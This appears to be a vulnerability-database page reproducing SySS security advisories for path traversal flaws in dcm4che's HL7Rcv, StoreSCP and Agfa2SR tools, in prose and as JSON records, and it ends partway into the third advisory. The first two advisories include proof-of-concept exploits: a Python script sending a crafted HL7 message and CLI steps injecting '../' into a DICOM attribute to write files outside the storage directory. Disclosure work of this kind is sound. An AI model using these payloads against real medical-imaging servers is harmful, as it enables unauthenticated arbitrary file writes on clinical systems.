Search
Find a vulnerability
Search criteria
4 vulnerabilities found for dcm4che by unknown
GCVE-1988-2026-0476
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-078
Product: dcm4che
Manufacturer: J4Care
Affected Version(s): 5.35.0
Tested Version(s): 5.35.0
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-08-06
Public Disclosure: 2026-10-13
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
and transmitting DICOM data (see [1]).
The HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal
attack. An attacker who can send HL7 MLLP messages to a running HL7Rcv
server can write arbitrary files outside the configured storage directory
by injecting "../" sequences into the HL7 MSH-9 (Message Type) field.
This allows unauthenticated remote attackers to achieve arbitrary file
write on the target system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol
(MLLP) via TCP. When a message is received and stored, the HL7 message type
field (MSH-9) is used directly as a directory name in a file constructor
without any path sanitization (see HL7Rcv.java:254-259):
private UnparsedHL7Message onMessage(UnparsedHL7Message msg)
throws Exception {
if (storageDir != null)
storeToFile(msg.data(), new File(
new File(storageDir, msg.msh().getMessageType()),
useUUIDForFilename
? UUID.randomUUID().toString()
: msg.msh().getField(9, "_NULL_")));
The getMessageType() method (HL7Segment.java) returns the raw MSH-9 field
value verbatim. If an attacker sends an HL7 message where MSH-9 contains
path traversal sequences (e.g. "../outside"), the resulting file path
escapes the configured storage directory.
The storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to
create the traversed directory structure and writes the file:
private void storeToFile(byte[] data, File f) throws IOException {
Connection.LOG.info("M-WRITE {}", f);
f.getParentFile().mkdirs();
try (FileOutputStream out = new FileOutputStream(f)) {
out.write(data);
}
}
No path normalization or boundary check is performed.
The MSH-10 (Message Control ID) field is used as the leaf filename, so the
attacker controls both the traversal path (MSH-9) and the filename (MSH-10).
Because HL7 MLLP carries no authentication, this attack can be executed
from any network location with access to the HL7Rcv TCP port. A raw TCP
connection sending a well-formed HL7 message with the MLLP framing bytes
(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.
The root cause is the missing validation of the MSH-9 field value before
it is used as a file path component.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The path traversal can be demonstrated by sending a crafted HL7 message
over a raw TCP connection using the following Python script.
The storage directory (in this example "/tmp/hl7storage") has to be
created before starting hl7rcv and running the PoC exploit.
cat > poc.py << 'EOF'
#!/usr/bin/env python3
import socket, os
# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018
# Malicious HL7 message with path traversal in MSH-9 (directory)
# and attacker-controlled filename in MSH-10 (Message Control ID)
hl7 = ("MSH|^~\\&|SEND|-|RECV|-|"
"20240101000000||../outside_hl7|exploit.log|P|2.5\r"
"PID|1||12345||Test^Patient\r")
mllp = b"\x0b" + hl7.encode("ascii") + b"\x1c\r"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 25018))
sock.sendall(mllp)
ack = sock.recv(4096)
sock.close()
# Verify: file written at /tmp/outside_hl7/exploit.log
print(os.path.exists("/tmp/outside_hl7/exploit.log"))
EOF
The file is written to /tmp/outside_hl7/exploit.log, one directory level
above the configured storage directory, confirming the path traversal.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-08-06: Vulnerability reported to manufacturer
2026-09-04: Vulnerability reported to manufacturer again
2026-10-13: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] dcm4che project website
https://www.dcm4che.org/
[2] SySS Security Advisory SYSS-2026-078
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "dcm4che",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-078\nProduct: dcm4che\nManufacturer: J4Care\nAffected Version(s): 5.35.0\nTested Version(s): 5.35.0\n\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure: 2026-10-13\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send HL7 MLLP messages to a running HL7Rcv\nserver can write arbitrary files outside the configured storage directory\nby injecting \"../\" sequences into the HL7 MSH-9 (Message Type) field.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file\nwrite on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol\n(MLLP) via TCP. When a message is received and stored, the HL7 message type\nfield (MSH-9) is used directly as a directory name in a file constructor\nwithout any path sanitization (see HL7Rcv.java:254-259):\n\n private UnparsedHL7Message onMessage(UnparsedHL7Message msg)\n throws Exception {\n if (storageDir != null)\n storeToFile(msg.data(), new File(\n new File(storageDir, msg.msh().getMessageType()),\n useUUIDForFilename\n ? UUID.randomUUID().toString()\n : msg.msh().getField(9, \"_NULL_\")));\n\nThe getMessageType() method (HL7Segment.java) returns the raw MSH-9 field\nvalue verbatim. If an attacker sends an HL7 message where MSH-9 contains\npath traversal sequences (e.g. \"../outside\"), the resulting file path\nescapes the configured storage directory.\n\nThe storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to\ncreate the traversed directory structure and writes the file:\n\n private void storeToFile(byte[] data, File f) throws IOException {\n Connection.LOG.info(\"M-WRITE {}\", f);\n f.getParentFile().mkdirs();\n try (FileOutputStream out = new FileOutputStream(f)) {\n out.write(data);\n }\n }\n\nNo path normalization or boundary check is performed.\n\nThe MSH-10 (Message Control ID) field is used as the leaf filename, so the\nattacker controls both the traversal path (MSH-9) and the filename (MSH-10).\n\nBecause HL7 MLLP carries no authentication, this attack can be executed\nfrom any network location with access to the HL7Rcv TCP port. A raw TCP\nconnection sending a well-formed HL7 message with the MLLP framing bytes\n(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.\n\nThe root cause is the missing validation of the MSH-9 field value before\nit is used as a file path component.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by sending a crafted HL7 message\nover a raw TCP connection using the following Python script.\n\nThe storage directory (in this example \"/tmp/hl7storage\") has to be\ncreated before starting hl7rcv and running the PoC exploit.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport socket, os\n\n# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018\n\n# Malicious HL7 message with path traversal in MSH-9 (directory)\n# and attacker-controlled filename in MSH-10 (Message Control ID)\nhl7 = (\"MSH|^~\\\\\u0026|SEND|-|RECV|-|\"\n \"20240101000000||../outside_hl7|exploit.log|P|2.5\\r\"\n \"PID|1||12345||Test^Patient\\r\")\nmllp = b\"\\x0b\" + hl7.encode(\"ascii\") + b\"\\x1c\\r\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((\"127.0.0.1\", 25018))\nsock.sendall(mllp)\nack = sock.recv(4096)\nsock.close()\n\n# Verify: file written at /tmp/outside_hl7/exploit.log\nprint(os.path.exists(\"/tmp/outside_hl7/exploit.log\"))\nEOF\n\nThe file is written to /tmp/outside_hl7/exploit.log, one directory level\nabove the configured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-078\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/23"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dcm4che.org/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/23"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0476",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23",
"automated": true,
"contentSha256": "575414783a3eb59f3c12e6ea860c192d4263d03b4d70b718862a384dcc059744",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-15T07:32:05Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:01Z",
"dateUpdated": "2026-11-02T07:30:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0476"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0475
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-077
Product: dcm4che
Manufacturer: J4Care
Affected Version(s): 5.35.0
Tested Version(s): 5.35.0
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-08-06
Public Disclosure: 2026-10-13
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
and transmitting DICOM data (see [1]).
The StoreSCP command-line tool in dcm4che is vulnerable to a path traversal
attack. An attacker who can send DICOM C-STORE requests to a vulnerable
StoreSCP server can write arbitrary files outside the configured storage
directory by injecting "../" sequences into DICOM attribute values.
This allows unauthenticated remote attackers to achieve arbitrary file write
on the target system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The StoreSCP tool receives DICOM files over the DICOM network protocol via
C-STORE requests. When a file is received, it is temporarily written to
the configured storage directory and then renamed to its final destination
using an AttributesFormat pattern (see StoreSCP.java:121-124):
String iuid = rq.getString(Tag.AffectedSOPInstanceUID);
File file = File.createTempFile(iuid, PART_EXT, storageDir);
try {
storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid),
data, file);
renameTo(as, file, new File(storageDir,
filePathFormat == null
? iuid
: filePathFormat.format(parse(file))));
The filePathFormat is constructed from a command-line argument (--filepath)
and substitutes DICOM attribute values into the filename pattern. The
AttributesFormat.format() method extracts values from network-received DICOM
attributes and inserts them directly into the resulting path.
The renameTo() method (StoreSCP.java:168-186) then creates any required
parent directories and moves the file without validating that the resolved
path remains within the configured storage directory:
private void renameTo(Association as, File from, File dest)
throws IOException {
LOG.info("{}: M-RENAME {} to {}", as, from, dest);
for(int try_count = 0; try_count <= renameRetries; try_count++) {
try{
dest.getParentFile().mkdirs();
Files.move(from.toPath(), dest.toPath(),
StandardCopyOption.REPLACE_EXISTING);
return;
No path normalization, canonicalization, or boundary check is performed. If
the --filepath pattern references any DICOM attribute that the remote DICOM
client controls (such as StudyDescription {0008,1030}, StudyInstanceUID
{0020,000D}, or SeriesDescription {0008,103E}), the client can include
"../" sequences that escape the storage directory.
value of "../outside_storage" causes the destination path to resolve to:
new File(storageDir, "../outside_storage")
which is the parent directory of storageDir. The mkdirs() call creates the
traversal path, and Files.move() writes the DICOM file to the escaped
location. Because DICOM C-STORE carries no authentication, this attack can
be executed from any network location with access to the StoreSCP port.
The root cause is the missing validation after AttributesFormat.format()
before the resulting path is used in file operations.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The path traversal can be demonstrated using the dcm4che CLI utilities
using the following steps.
Step 1:
Create a malicious DICOM file with path traversal in StudyDescription
dcm2xml test.dcm > base.xml
Step 2:
Inject <DicomAttribute keyword="StudyDescription" tag="00081030" vr="LO">
<Value number="1">../outside_storage</Value></DicomAttribute>
xml2dcm -x base.xml -o malicious.dcm
Step 3:
Start storescp with the StudyDescription as filepath pattern
storescp -b STORESCP@127.0.0.1:11121 \
--filepath "{00081030}" \
--directory /tmp/storage &
Step 4:
Send the malicious DICOM file
storescu -c STORESCP@127.0.0.1:11121 malicious.dcm
Step 5:
Verify the file escaped the storage directory
ls /tmp/outside_storage # File exists outside /tmp/storage
The file is written to /tmp/outside_storage, one directory level above the
configured storage directory, confirming the path traversal.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-08-06: Vulnerability reported to manufacturer
2026-09-04: Vulnerability reported to manufacturer again
2026-10-13: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] dcm4che project website
https://www.dcm4che.org/
[2] SySS Security Advisory SYSS-2026-077
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "dcm4che",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-077\nProduct: dcm4che\nManufacturer: J4Care\nAffected Version(s): 5.35.0\nTested Version(s): 5.35.0\n\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure: 2026-10-13\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe StoreSCP command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send DICOM C-STORE requests to a vulnerable\nStoreSCP server can write arbitrary files outside the configured storage\ndirectory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file write\non the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe StoreSCP tool receives DICOM files over the DICOM network protocol via\nC-STORE requests. When a file is received, it is temporarily written to\nthe configured storage directory and then renamed to its final destination\nusing an AttributesFormat pattern (see StoreSCP.java:121-124):\n\n String iuid = rq.getString(Tag.AffectedSOPInstanceUID);\n File file = File.createTempFile(iuid, PART_EXT, storageDir);\n try {\n storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid),\n data, file);\n renameTo(as, file, new File(storageDir,\n filePathFormat == null\n ? iuid\n : filePathFormat.format(parse(file))));\n\nThe filePathFormat is constructed from a command-line argument (--filepath)\nand substitutes DICOM attribute values into the filename pattern. The\nAttributesFormat.format() method extracts values from network-received DICOM\nattributes and inserts them directly into the resulting path.\n\nThe renameTo() method (StoreSCP.java:168-186) then creates any required\nparent directories and moves the file without validating that the resolved\npath remains within the configured storage directory:\n\n private void renameTo(Association as, File from, File dest)\n throws IOException {\n LOG.info(\"{}: M-RENAME {} to {}\", as, from, dest);\n for(int try_count = 0; try_count \u003c= renameRetries; try_count++) {\n try{\n dest.getParentFile().mkdirs();\n Files.move(from.toPath(), dest.toPath(),\n StandardCopyOption.REPLACE_EXISTING);\n return;\n\nNo path normalization, canonicalization, or boundary check is performed. If\nthe --filepath pattern references any DICOM attribute that the remote DICOM\nclient controls (such as StudyDescription {0008,1030}, StudyInstanceUID\n{0020,000D}, or SeriesDescription {0008,103E}), the client can include\n\"../\" sequences that escape the storage directory.\n\n\nvalue of \"../outside_storage\" causes the destination path to resolve to:\n\n new File(storageDir, \"../outside_storage\")\n\nwhich is the parent directory of storageDir. The mkdirs() call creates the\ntraversal path, and Files.move() writes the DICOM file to the escaped\nlocation. Because DICOM C-STORE carries no authentication, this attack can\nbe executed from any network location with access to the StoreSCP port.\n\nThe root cause is the missing validation after AttributesFormat.format()\nbefore the resulting path is used in file operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated using the dcm4che CLI utilities\nusing the following steps.\n\nStep 1:\nCreate a malicious DICOM file with path traversal in StudyDescription\n\ndcm2xml test.dcm \u003e base.xml\n\n\nStep 2:\nInject \u003cDicomAttribute keyword=\"StudyDescription\" tag=\"00081030\" vr=\"LO\"\u003e\n \u003cValue number=\"1\"\u003e../outside_storage\u003c/Value\u003e\u003c/DicomAttribute\u003e\n\nxml2dcm -x base.xml -o malicious.dcm\n\n\nStep 3:\nStart storescp with the StudyDescription as filepath pattern\n\nstorescp -b STORESCP@127.0.0.1:11121 \\\n --filepath \"{00081030}\" \\\n --directory /tmp/storage \u0026\n\n\nStep 4:\nSend the malicious DICOM file\n\nstorescu -c STORESCP@127.0.0.1:11121 malicious.dcm\n\n\nStep 5:\nVerify the file escaped the storage directory\n\nls /tmp/outside_storage # File exists outside /tmp/storage\n\n\n\nThe file is written to /tmp/outside_storage, one directory level above the\nconfigured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-077\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/22"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.dcm4che.org/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/22"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0475",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22",
"automated": true,
"contentSha256": "3096478911b20e0396d0fbc7e13128e6253f73aa6cb6159d7a9d76bf8dcf2e63",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-15T07:32:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:01Z",
"dateUpdated": "2026-11-02T07:30:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0475"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0478
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-080
Product: dcm4che
Manufacturer: J4Care
Affected Version(s): 5.35.0
Tested Version(s): 5.35.0
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-08-06
Public Disclosure: 2026-10-13
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
and transmitting DICOM data (see [1]).
The Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal
attack. An attacker who can supply an Agfa XML SR (Structured Report) file
for processing with Agfa2SR can write files outside the configured output
directory by injecting "../" sequences into the StudyInstanceUID field.
This allows attackers to achieve arbitrary file write on the target system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output
files. It processes files containing reports delimited by
<agfa:DiagnosticRadiologyReport>...</agfa:DiagnosticRadiologyReport> tags.
Two path traversal vectors exist in the tool:
